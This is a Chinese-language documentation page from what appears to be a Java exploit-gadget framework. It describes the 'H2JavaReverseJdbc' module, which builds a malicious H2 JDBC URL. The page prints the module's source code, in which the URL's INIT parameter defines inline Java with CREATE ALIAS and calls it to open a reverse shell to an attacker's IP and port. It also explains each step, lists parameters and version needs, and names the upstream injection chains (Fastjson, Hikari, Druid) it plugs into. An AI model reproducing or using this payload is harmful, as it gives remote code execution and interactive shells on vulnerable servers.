Skip to content

Latest commit

 

History

History
66 lines (55 loc) · 4.63 KB

File metadata and controls

66 lines (55 loc) · 4.63 KB

H2 JDBC URL Java反弹shell(H2JavaReverseJdbc)

  • 类别:common 别名:— 优先级:30
  • 作者:—
  • 依赖com.h2database:h2org.h2.Driver

作用

面向「JDBC URL 可控」的攻击场景:生成一段 H2 数据库的恶意 JDBC 连接串,利用 H2 的 INIT 参数在建立连接时创建 Java 存储过程(CREATE ALIAS)并立即 CALL,向攻击者指定的 ip:port 弹回一个交互式 shell。它本身不是「反序列化 gadget」,而是 JDBC-URL 利用链的终端 sink——产物是一个 String(JDBC URL),交给上游能触发 DriverManager.getConnection(url) 的组件即可 RCE。

链接标签

  • 入口 tagsH2JdbcUrlJdbcUrlChainsEND
    • H2JdbcUrl / JdbcUrlChains:标记本 gadget 属于「JDBC URL 注入」家族,需由能消费一个可控 JDBC URL 的上游驱动(如 Fastjson/JNDI 数据源工厂、HikariJdbcAttackDruidJdbcAttack 等)。
    • END:终端标记,链条到此结束,不再向下衔接。
  • 衔接 nextTags:无(终端)。
  • excludes:无。

源码剖析

核心是拼装一个带 INIT 脚本的 H2 内存库 URL:

@Param(name="reverse ip")      public String ip = "127.0.0.1";
@Param(name="reverse port")    public String reversePort = "9999";
public String driverClassName = "org.h2.Driver";

public String getObject() {
    String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS REV_SHELL AS "
      + "'void rev_shell(String host, String port) throws java.lang.Exception {"
      + "String shell=System.getProperty(\"os.name\").toLowerCase().contains(\"win\")?\"cmd\":\"sh\"\\;"
      + "Process p=new ProcessBuilder(shell).redirectErrorStream(true).start()\\;"
      + "java.net.Socket s=new java.net.Socket(host,Integer.valueOf(port))\\;"
      + "...(双向转发 InputStream/OutputStream 的循环)..."
      + "}'\\;CALL REV_SHELL ('" + this.ip + "', '" + this.reversePort + "')\\;";
    return url;
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    context.put(ContextTag.DRIVER_CLASS_NAME_KEY, this.driverClassName);   // 告知框架使用 org.h2.Driver
    return this.getObject();
}

逐段解释:

  • jdbc:h2:mem:testdb:连接一个临时内存库,无需磁盘/鉴权,连接即建库。
  • INIT=...:H2 特有参数,会在连接建立后立即执行其中的 SQL。这里先 CREATE ALIAS REV_SHELL AS '<Java 源码>'——H2 允许用内联 Java 源码定义存储过程(内部用编译器现场编译),随后 CALL REV_SHELL(ip, port) 触发。
  • 反弹 shell 逻辑:根据 os.namecmd/sh 启动进程,建立到 host:portSocket,在 while(!s.isClosed()) 循环里把进程 stdout/stderr 与 socket 双向搬运,实现交互式 shell。
  • \\; 转义:SQL 语句以 ; 分隔,而 Java 源码体内部也需要 ;,故内联源码里的分号写成 \;(反编译串中体现为 \\;)以避免被 H2 当作语句结束符。
  • invoke 只做两件事:把 DRIVER_CLASS_NAME_KEY=org.h2.Driver 写入上下文(供上游选择正确驱动),然后返回 URL 字符串。注意它不调用 chain.doCreate——即不依赖任何内层 gadget,是自足的链尾。

参数(@Param)

字段 名称 说明 默认 可选值
ip reverse ip 反弹目标 IP 127.0.0.1
reversePort reverse port 反弹目标端口 9999

driverClassName 为固定字段,非 @Param,值 org.h2.Driver。)

适用版本与原理要点

  • 依赖目标 classpath 存在 com.h2database:h2,且攻击者能控制被 DriverManager.getConnection 使用的 JDBC URL。
  • 依赖 H2 的 INIT + CREATE ALIAS 内联 Java 编译能力,需目标 JRE 带编译器(javax.tools/JDK 环境)。较新 H2 版本对 INIT/CREATE ALIAS 有加固或默认关闭的可能,实战需确认版本。
  • 相比 H2RemoteJdbc(远程 RUNSCRIPT)与 H2JsExecJdbc(JS 触发器),本 gadget 优点是「一次连接即反弹、Payload 相对简短、无需外连 HTTP 拉取脚本」。

所属预设链

自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。通常与「JDBC URL 可控」类上游(Fastjson 数据源、JNDI DataSource 工厂等)组合使用。

关联

  • 同族(H2 JDBC URL sink):H2JsExecJdbcH2RemoteJdbcH2JavaJdbc1/H2JavaExecJdbc1
  • 上游(消费 H2JdbcUrl / JdbcUrlChains):HikariJdbcAttackDruidJdbcAttackFastjsonH2Jdbc 等能触发 getConnection(url) 的组件。